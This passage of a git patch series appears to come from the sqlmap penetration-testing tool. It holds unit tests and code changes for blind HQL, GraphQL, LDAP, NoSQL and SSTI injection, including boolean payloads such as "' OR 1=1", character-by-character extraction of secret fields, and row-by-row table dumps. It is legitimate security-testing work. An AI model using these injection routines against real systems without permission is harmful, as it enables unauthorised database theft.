"Hibernate") + self.assertIsNotNone(hql._backendFromError("org.eclipse.persistence.exceptions.JPQLException")) + self.assertIsNone(hql._backendFromError("plain page")) + + def test_entity_from_error(self): + self.assertEqual(hql._entityFromError("Could not resolve attribute 'zzz' of 'lab.App$Member'"), "lab.App$Member") + self.assertEqual(hql._entityFromError("Could not resolve root entity 'Ghost'"), "Ghost") + self.assertIsNone(hql._entityFromError("nothing here")) + + def test_short_entity(self): + self.assertEqual(hql._shortEntity("lab.App$Member"), "Member") + self.assertEqual(hql._shortEntity("com.acme.model.User"), "User") + self.assertEqual(hql._shortEntity("User"), "User") + + +class TestBoundary(unittest.TestCase): + def test_wrap_string(self): + b = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertEqual(hql._wrap("SEN", b, "1=1"), "SEN' OR 1=1 OR '1'='2") + + def test_base_sentinel_vs_numeric(self): + self.assertEqual(hql._base(hql.Boundary("' OR ", " OR '1'='2", True), "x"), hql.SENTINEL) + self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1") + + def test_scalar_casts_attribute(self): + expr = hql._scalar("Member", "id", "LENGTH(%s)", "id") + self.assertIn("CAST(_h.id AS string)", expr) + self.assertIn("FROM Member _h", expr) + self.assertIn("MIN(_h2.id)", expr) + + +class TestDetection(unittest.TestCase): + def setUp(self): + self.original = hql._send + + def tearDown(self): + hql._send = self.original + + def test_boolean_detection(self): + # TRUE payloads return rows, FALSE payloads return an empty (but stable) page + def mock(place, parameter, value): + if "OR '1'='1" in value or "OR 1=1" in value: + return "
alice
bob
" + return "" + hql._send = mock + template, payload, boundary = hql._detectBoolean("GET", "name") + self.assertIsNotNone(template) + self.assertIn("OR '1'='1", payload) + self.assertTrue(boundary.sentinel) + + def test_no_detection_when_static(self): + hql._send = lambda place, parameter, value: "same" + template, _, _ = hql._detectBoolean("GET", "name") + self.assertIsNone(template) + + +def _recordOracle(record, entity="Member"): + """Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates + the engine emits, evaluated against an in-memory record dict.""" + + def truth(predicate): + # entity brute / attribute existence + m = re.search(r"FROM (\w+) _h", predicate) + if m and m.group(1) != entity: + return False + # entity brute: EXISTS(SELECT 1 FROM _h) + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + # attribute existence: EXISTS(SELECT _h. FROM _h) + m = re.search(r"SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in record + # length: LENGTH(CAST(_h. AS string)) ... >= N + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(record.get(m.group(1), ""))) >= int(n.group(1)) + # char: SUBSTRING(CAST(_h. AS string),,1) ... ='' + if "SUBSTRING" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) + c = re.search(r"='(.)'\s*$", predicate) + if m and c: + attr, pos, ch = m.group(1), int(m.group(2)), c.group(1) + value = str(record.get(attr, "")) + return pos <= len(value) and value[pos - 1] == ch + return False + + return truth + + +class TestExtraction(unittest.TestCase): + def setUp(self): + self.record = {"id": "1", "name": "alice", "secret": "s3cr3t-alice", "role": "admin"} + self.truth = _recordOracle(self.record) + + def test_brute_entities(self): + self.assertEqual(hql._bruteEntities(self.truth), ["Member"]) + + def test_enum_fields(self): + fields = hql._enumFields(self.truth, "Member") + for expected in ("id", "name", "secret", "role"): + self.assertIn(expected, fields) + + def test_infer_string_value(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "name", "id"), "alice") + + def test_infer_secret_with_symbols(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "secret", "id"), "s3cr3t-alice") + + def test_infer_numeric_via_cast(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "id", "id"), "1") + + def test_infer_absent_attribute_empty(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "") + + +def _multiOracle(records): + """Row-aware oracle: honors the "_h2. > " walk bound by selecting the + smallest-id record strictly greater than `after`.""" + + def pick(predicate): + m = re.search(r"_h2\.\w+>(\d+)", predicate) + after = int(m.group(1)) if m else None + cands = [r for r in records if after is None or int(r["id"]) > after] + return min(cands, key=lambda r: int(r["id"])) if cands else None + + def truth(predicate): + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + m = re.search(r"EXISTS\(SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in records[0] + rec = pick(predicate) + if rec is None: + return False + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(rec.get(m.group(1), ""))) >= int(n.group(1)) + if "SUBSTRING" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) + c = re.search(r"='(.)'\s*$", predicate) + if m and c: + value = str(rec.get(m.group(1), "")) + pos = int(m.group(2)) + return pos <= len(value) and value[pos - 1] == c.group(1) + return False + + return truth + + +class TestMultiRow(unittest.TestCase): + def setUp(self): + self.records = [ + {"id": "1", "name": "alice", "role": "admin"}, + {"id": "2", "name": "bob", "role": "user"}, + {"id": "5", "name": "carol", "role": "staff"}, + ] + self.truth = _multiOracle(self.records) + + def _walk(self, fields, pin): + rows, after = [], None + for _ in range(20): + pinValue = hql._inferValue(self.truth, "Member", pin, pin, after) + if not pinValue: + break + record = {pin: pinValue} + for field in fields: + if field != pin: + record[field] = hql._inferValue(self.truth, "Member", field, pin, after) + rows.append(record) + if not re.match(r"\A\d+\Z", pinValue): + break + after = pinValue + return rows + + def test_walks_all_rows_in_order(self): + rows = self._walk(["id", "name", "role"], "id") + self.assertEqual([r["name"] for r in rows], ["alice", "bob", "carol"]) + self.assertEqual([r["id"] for r in rows], ["1", "2", "5"]) + self.assertEqual(rows[2]["role"], "staff") + + +class TestGrid(unittest.TestCase): + def test_grid(self): + out = hql._grid(["id", "name"], [["1", "alice"]]) + self.assertIn("alice", out) + self.assertIn("+--", out) + + +if __name__ == "__main__": + unittest.main() From 2fec735b13ba24524e51181919e2f4035e3ca66f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 11:36:40 +0200 Subject: [PATCH 2/8] Minor patches --- extra/vulnserver/vulnserver.py | 7 ++--- lib/core/settings.py | 7 ++--- lib/techniques/graphql/inject.py | 4 +++ lib/techniques/hql/inject.py | 44 ++++++++++++++++++++++---------- lib/techniques/ldap/inject.py | 24 +++++++++++++---- lib/techniques/nosql/inject.py | 2 ++ lib/techniques/ssti/inject.py | 5 ---- lib/techniques/xpath/inject.py | 4 +++ tests/test_hql.py | 30 ++++++++++++---------- tests/test_ssti.py | 3 --- 10 files changed, 81 insertions(+), 49 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 7a432e8ee1c..1a29dbb4fd0 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -278,15 +278,16 @@ def _hql_atom(atom): return False return len(HQL_RECORD[attr]) >= n - match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char + match = re.match(r"^\(SELECT LOCATE\(SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar char (LOCATE index) if match: - attr, pos, ch = match.group(1), int(match.group(2)), match.group(3) + attr, pos, literal, n = match.group(1), int(match.group(2)), match.group(3), int(match.group(4)) if attr not in HQL_RECORD: raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) if _hql_no_row(atom): return False value = HQL_RECORD[attr] - return pos <= len(value) and value[pos - 1] == ch + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 # 1-based, 0 if absent + return index >= n match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak) if match: diff --git a/lib/core/settings.py b/lib/core/settings.py index 062df34ac4d..935975bede7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.66" +VERSION = "1.10.7.67" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1040,7 +1040,7 @@ # that an error response originates from an LDAP back-end rather than a generic HTTP 500 LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES) -# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison +# Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan LDAP_CHAR_MIN = 0x20 LDAP_CHAR_MAX = 0x7e @@ -1268,9 +1268,6 @@ ("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"), ) -# Upper bound for SSTI value extraction (reserved for future use) -SSTI_MAX_LENGTH = 256 - # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index c058cd64b71..bdcdb619db4 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -835,6 +835,9 @@ def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): high = mid length = low + if length >= maxLen: + logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen) + value = "" for pos in xrange(1, length + 1): ordExpr = dialect.ordinal(expr, pos) @@ -1064,6 +1067,7 @@ def _testSlot(slot, endpoint): logger.info("no oracle confirmed for this slot") return None, None, None + logger.info("%s.%s(%s:) is vulnerable to GraphQL injection (%s-based)" % (slot.parentType, slot.fieldName, slot.targetArg, kind)) title = "GraphQL %s" % oracleType payload = _buildQuery(slot, _SQL_BOOLEAN_TRUE) or _SQL_BOOLEAN_TRUE report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % ( diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py index 96fb8e49556..e0da607c6fc 100644 --- a/lib/techniques/hql/inject.py +++ b/lib/techniques/hql/inject.py @@ -310,17 +310,25 @@ def _enumFields(truth, entity): if _ not in _META_ORDS and _ not in _CHARSET: _CHARSET.append(_) +# Charset as an HQL string literal for LOCATE()-based binary search: each character's +# 1-based index inside this literal is recovered by bisection (~log2(n) requests vs a +# linear equality scan), and LOCATE is an index lookup so no lexicographic ordering / +# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are excluded +# because they cannot survive a raw GET/POST value; such a byte is surfaced as '?' (as +# it was under the previous linear scan). ', ", \ are already excluded above. +_URL_HOSTILE = set(ord(_) for _ in "%&+#?") +_CS_LITERAL = "".join(chr(_) for _ in _CHARSET if _ not in _URL_HOSTILE) -def _scalar(entity, attribute, expr, pin, after=None): + +def _scalar(entity, attrExpr, pin, after=None): """Scalar subquery over a single `entity` row selected by the smallest `pin` (optionally the smallest strictly greater than `after`, to walk rows in order). - Alias-independent, so it works regardless of the outer query's alias. `expr` - wraps the attribute, cast to string so numeric/temporal values extract too.""" + Alias-independent, so it works regardless of the outer query's alias. `attrExpr` + is the already-built selected expression (references CAST(_h. AS string)).""" bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after) - target = "CAST(_h.%s AS string)" % attribute inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % ( - expr % target, entity, pin, pin, entity, bound) + attrExpr, entity, pin, pin, entity, bound) return "(%s)" % inner @@ -328,7 +336,7 @@ def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH """Blindly recover one attribute value of the row selected by `pin`/`after`.""" # length first, by binary search - lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after) + lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after) if not truth("%s>=1" % lengthExpr): return "" @@ -343,14 +351,20 @@ def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH chars = [] for pos in xrange(1, length + 1): - charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after) - found = None - for cp in _CHARSET: - literal = chr(cp) - if truth("%s='%s'" % (charExpr, literal)): - found = literal - break - chars.append(found if found is not None else "?") + # index of this character inside _CS_LITERAL, recovered by binary search + idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after) + if not truth("%s>=1" % idxExpr): + chars.append("?") + continue + + lo, hi = 1, len(_CS_LITERAL) + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (idxExpr, mid)): + lo = mid + else: + hi = mid - 1 + chars.append(_CS_LITERAL[lo - 1]) return "".join(chars) @@ -407,6 +421,8 @@ def _dumpEntity(oracle, place, parameter, entity): if not re.match(r"\A\d+\Z", pinValue): break after = pinValue + else: + logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS)) conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows))) diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py index eb1ef1f1880..e433f4eb0bb 100644 --- a/lib/techniques/ldap/inject.py +++ b/lib/techniques/ldap/inject.py @@ -553,6 +553,8 @@ def _enumerateEntryKeys(oracle, builder): logger.info("identified directory entry: %s='%s'" % (keyAttr, value)) if values: + if len(values) >= LDAP_MAX_RECORDS: + logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS) return keyAttr, values return None, [] @@ -602,10 +604,22 @@ def _dumpMultiValues(oracle, builder, place, parameter): if not _exists(oracle, builder, attr): continue - value = _inferAttribute(oracle, builder, attr) - if value: - logger.info("fetched 1 value from attribute '%s'" % attr) - _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(value,)]) + # Multi-valued attributes (member, memberOf, ...) carry several values; + # walk them by excluding each recovered value from the next probe, exactly + # like _enumerateEntryKeys does for entry keys. + values = [] + while len(values) < LDAP_MAX_RECORDS: + exclusions = [(attr, _) for _ in values] + value = _inferAttribute(oracle, builder, attr, exclusions=exclusions) + if not value or value in values: + break + values.append(value) + + if values: + if len(values) >= LDAP_MAX_RECORDS: + logger.warning("attribute '%s' hit the LDAP_MAX_RECORDS (%d) cap; some values may be omitted" % (attr, LDAP_MAX_RECORDS)) + logger.info("fetched %d value%s from attribute '%s'" % (len(values), "" if len(values) == 1 else "s", attr)) + _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(_,) for _ in values]) dumped = True return dumped @@ -720,7 +734,7 @@ def ldapScan(): if not slot.backend or slot.backend == "Generic LDAP": backend = _fingerprintByAttribute(oracle, builder) if backend: - logger.info("identified back-end DBMS: '%s'" % backend) + logger.info("identified back-end: '%s'" % backend) slot = slot._replace(backend=backend) # Determine extraction method: in-band if the template page already diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index ceb1807ea4d..c06782bd728 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -424,6 +424,8 @@ def minIdGreater(lower): records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) columns.extend(_ for _ in cols if _ not in columns) lastId = nodeId + else: + logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS) return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index d8d6a283b24..b16e157cdb3 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -24,8 +24,6 @@ from lib.request.connect import Connect as Request -SENTINEL = randomStr(length=10, lowercase=True) - SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST) # Each Engine entry defines detection payloads and expected behaviour for one @@ -572,9 +570,6 @@ def _fingerprint(place, parameter): def sstiScan(): - global SENTINEL - SENTINEL = randomStr(length=10, lowercase=True) - debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints " debugMsg += "common template engines when possible. SQL enumeration " debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py index bd40548be90..da938cc24e3 100644 --- a/lib/techniques/xpath/inject.py +++ b/lib/techniques/xpath/inject.py @@ -488,10 +488,14 @@ def _walkTree(oracle, builder, path="/*", depth=0): childCount = _inferCount(oracle, builder, path, lambda b, p, c: b.childCount(p, c), maxCount=32) + if childCount >= 32: + logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name) attrCount = _inferCount(oracle, builder, path, lambda b, p, c: b.attributeCount(p, c), maxCount=16) + if attrCount >= 16: + logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name) attributes = [] for i in xrange(1, attrCount + 1): diff --git a/tests/test_hql.py b/tests/test_hql.py index a70292921ee..e594b82988b 100644 --- a/tests/test_hql.py +++ b/tests/test_hql.py @@ -58,7 +58,7 @@ def test_base_sentinel_vs_numeric(self): self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1") def test_scalar_casts_attribute(self): - expr = hql._scalar("Member", "id", "LENGTH(%s)", "id") + expr = hql._scalar("Member", "LENGTH(CAST(_h.id AS string))", "id") self.assertIn("CAST(_h.id AS string)", expr) self.assertIn("FROM Member _h", expr) self.assertIn("MIN(_h2.id)", expr) @@ -111,14 +111,15 @@ def truth(predicate): n = re.search(r">=(\d+)", predicate) if m and n: return len(str(record.get(m.group(1), ""))) >= int(n.group(1)) - # char: SUBSTRING(CAST(_h. AS string),,1) ... ='' - if "SUBSTRING" in predicate: - m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) - c = re.search(r"='(.)'\s*$", predicate) - if m and c: - attr, pos, ch = m.group(1), int(m.group(2)), c.group(1) + # char: LOCATE(SUBSTRING(CAST(_h. AS string),,1),'') ... >= + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: + attr, pos, literal = m.group(1), int(m.group(2)), m.group(3) value = str(record.get(attr, "")) - return pos <= len(value) and value[pos - 1] == ch + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) return False return truth @@ -174,13 +175,14 @@ def truth(predicate): n = re.search(r">=(\d+)", predicate) if m and n: return len(str(rec.get(m.group(1), ""))) >= int(n.group(1)) - if "SUBSTRING" in predicate: - m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\)", predicate) - c = re.search(r"='(.)'\s*$", predicate) - if m and c: + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: value = str(rec.get(m.group(1), "")) - pos = int(m.group(2)) - return pos <= len(value) and value[pos - 1] == c.group(1) + pos, literal = int(m.group(2)), m.group(3) + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) return False return truth diff --git a/tests/test_ssti.py b/tests/test_ssti.py index d8a3aadaea2..2a05ddd3c62 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -18,9 +18,6 @@ import lib.techniques.ssti.inject as ssti -SENTINEL = ssti.SENTINEL - - class TestHelpers(unittest.TestCase): def test_ratio(self): self.assertGreater(ssti._ratio("abc", "abc"), 0.9) From 986933e7091e0420e0cf7de6f6ce2cb30a56ac6b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 12:04:08 +0200 Subject: [PATCH 3/8] Minor patches --- lib/core/settings.py | 2 +- lib/techniques/graphql/inject.py | 80 +++++++++++++++++++------------- lib/techniques/ssti/inject.py | 12 +++++ tests/test_graphql.py | 23 ++++----- tests/test_techniques.py | 15 ++++-- 5 files changed, 84 insertions(+), 48 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 935975bede7..aaa47cec6cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.67" +VERSION = "1.10.7.68" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index bdcdb619db4..00e6abcf8c1 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -39,9 +39,14 @@ # Maximum characters recovered for a single blind-inferred scalar (banner, user, table list, ...) MAX_LENGTH = 1024 -# Higher ceiling for a whole-table dump (its rows are concatenated into one scalar before extraction) +# Ceiling for a single row's concatenated cells (one row is extracted per request, so +# this need not hold a whole table; a GROUP_CONCAT of the whole table would be silently +# capped by the back-end - notably MySQL's group_concat_max_len=1024 - hence per-row). DUMP_MAX_LENGTH = 8192 +# Maximum number of rows dumped per table (bounds a runaway blind dump) +DUMP_MAX_ROWS = 1000 + # Printable-ASCII codepoint bounds for blind character inference CHAR_MIN = 0x20 CHAR_MAX = 0x7e @@ -49,9 +54,8 @@ # Number of independent predicates packed into a single aliased GraphQL document (batched inference) BATCH_SIZE = 40 -# Column/row separators woven into a GROUP_CONCAT/STRING_AGG table dump (printable, improbable in data) +# Cell separator woven into a per-row dump scalar (printable, improbable in data) COL_SEP = "~~~" -ROW_SEP = "^^^" # GraphQL scalar types mapped to injection strategy (None = skip) SCALAR_STRATEGY = { @@ -85,35 +89,35 @@ # established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy # elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition # in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/ -# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns`/`rows` build the -# per-table column list and a single-scalar dump of every row (cells joined COL_SEP, rows ROW_SEP). +# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns` builds the per-table +# column list and `row(columns, table, offset)` a single row's cells joined by COL_SEP. Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", "banner", "currentUser", "currentDb", - "tables", "columns", "rows")) + "tables", "columns", "row")) -def _sqliteRows(columns, table): - cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns] - body = ("||'%s'||" % COL_SEP).join(cells) - return "(SELECT GROUP_CONCAT(%s,'%s') FROM %s)" % (body, ROW_SEP, table) +# A row is extracted one at a time by ordinal position (LIMIT/OFFSET). Concatenating +# the whole table into a single GROUP_CONCAT/STRING_AGG scalar would be silently +# truncated by the back-end (MySQL caps group_concat_max_len at 1024 bytes), dropping +# rows without warning; per-row extraction is unbounded and dialect-uniform. +def _sqliteRow(columns, table, offset): + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) -def _mysqlRows(columns, table): - cells = ["COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns] - body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join(cells)) - return "(SELECT GROUP_CONCAT(%s SEPARATOR '%s') FROM %s)" % (body, ROW_SEP, table) +def _mysqlRow(columns, table, offset): + body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns)) + return "(SELECT %s FROM %s LIMIT %d,1)" % (body, table, offset) -def _pgsqlRows(columns, table): - cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns] - body = ("||'%s'||" % COL_SEP).join(cells) - return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table) +def _pgsqlRow(columns, table, offset): + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) -def _mssqlRows(columns, table): - cells = ["COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns] - body = ("+'%s'+" % COL_SEP).join(cells) - return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table) +def _mssqlRow(columns, table, offset): + body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns) + return "(SELECT %s FROM %s ORDER BY (SELECT NULL) OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, table, offset) DIALECTS = OrderedDict(( @@ -127,7 +131,7 @@ def _mssqlRows(columns, table): currentDb=None, tables="(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%')", columns=lambda table: "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('%s'))" % table, - rows=_sqliteRows)), + row=_sqliteRow)), ("Microsoft SQL Server", Dialect( fingerprint="@@VERSION LIKE '%Microsoft%'", length=lambda expr: "LEN((%s))" % expr, @@ -138,7 +142,7 @@ def _mssqlRows(columns, table): currentDb="DB_NAME()", tables="(SELECT STRING_AGG(name,',') FROM sys.tables)", columns=lambda table: "(SELECT STRING_AGG(name,',') FROM sys.columns WHERE object_id=OBJECT_ID('%s'))" % table, - rows=_mssqlRows)), + row=_mssqlRow)), ("PostgreSQL", Dialect( fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", length=lambda expr: "LENGTH((%s))" % expr, @@ -149,7 +153,7 @@ def _mssqlRows(columns, table): currentDb="CURRENT_DATABASE()", tables="(SELECT STRING_AGG(table_name,',') FROM information_schema.tables WHERE table_schema='public')", columns=lambda table: "(SELECT STRING_AGG(column_name,',') FROM information_schema.columns WHERE table_name='%s')" % table, - rows=_pgsqlRows)), + row=_pgsqlRow)), ("MySQL", Dialect( fingerprint="@@VERSION_COMMENT IS NOT NULL", length=lambda expr: "CHAR_LENGTH((%s))" % expr, @@ -160,7 +164,7 @@ def _mssqlRows(columns, table): currentDb="DATABASE()", tables="(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())", columns=lambda table: "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='%s')" % table, - rows=_mysqlRows)), + row=_mysqlRow)), )) @@ -904,18 +908,32 @@ def _inferrer(truth, truthBatch, dialect): def _dumpTable(infer, dialect, table): - # Enumerate a table's columns, then recover every row as one concatenated scalar - # and split it back into a (columns, rows) grid + # Enumerate a table's columns, then recover its rows ONE AT A TIME by ordinal + # position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by + # the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row + # extraction has no such cap. columnsRaw = infer(dialect.columns(table)) columns = [_ for _ in (columnsRaw or "").split(",") if _] if not columns: return None - raw = infer(dialect.rows(columns, table), DUMP_MAX_LENGTH) + countRaw = infer("(SELECT COUNT(*) FROM %s)" % table) + try: + count = int((countRaw or "").strip()) + except ValueError: + count = 0 + rows = [] - for record in (raw or "").split(ROW_SEP) if raw else []: - cells = record.split(COL_SEP) + for offset in xrange(min(count, DUMP_MAX_ROWS)): + raw = infer(dialect.row(columns, table, offset), DUMP_MAX_LENGTH) + if raw is None: + continue + cells = raw.split(COL_SEP) rows.append((cells + [""] * len(columns))[:len(columns)]) + + if count > DUMP_MAX_ROWS: + logger.warning("table '%s' has %d rows; dumping the first %d (DUMP_MAX_ROWS cap)" % (table, count, DUMP_MAX_ROWS)) + return columns, rows diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index b16e157cdb3..d518ca1b80b 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -482,6 +482,12 @@ def _familyUniquelyIdentifies(engine): return sum(e.family == engine.family for e in siblings) == 1 +# Delimiters shared by more than one engine in _ENGINE_TABLE; a match on any of these +# needs the full cross-engine comparison to disambiguate (Jinja2/Twig/Handlebars for +# "{{", Freemarker/SpringEL/Mako for "${"). Any other delimiter is unique to one engine. +_SHARED_DELIMITERS = frozenset(("{{", "${")) + + def _fingerprint(place, parameter): """Identify the template engine and confirm injection. Returns (engine, evidence) where evidence is a dict of detection results, or (None, None). @@ -532,6 +538,12 @@ def _fingerprint(place, parameter): bestEngine = engine bestEvidence = evidence + # A decisive arithmetic proof on an engine whose delimiter no other engine shares + # is unambiguous: 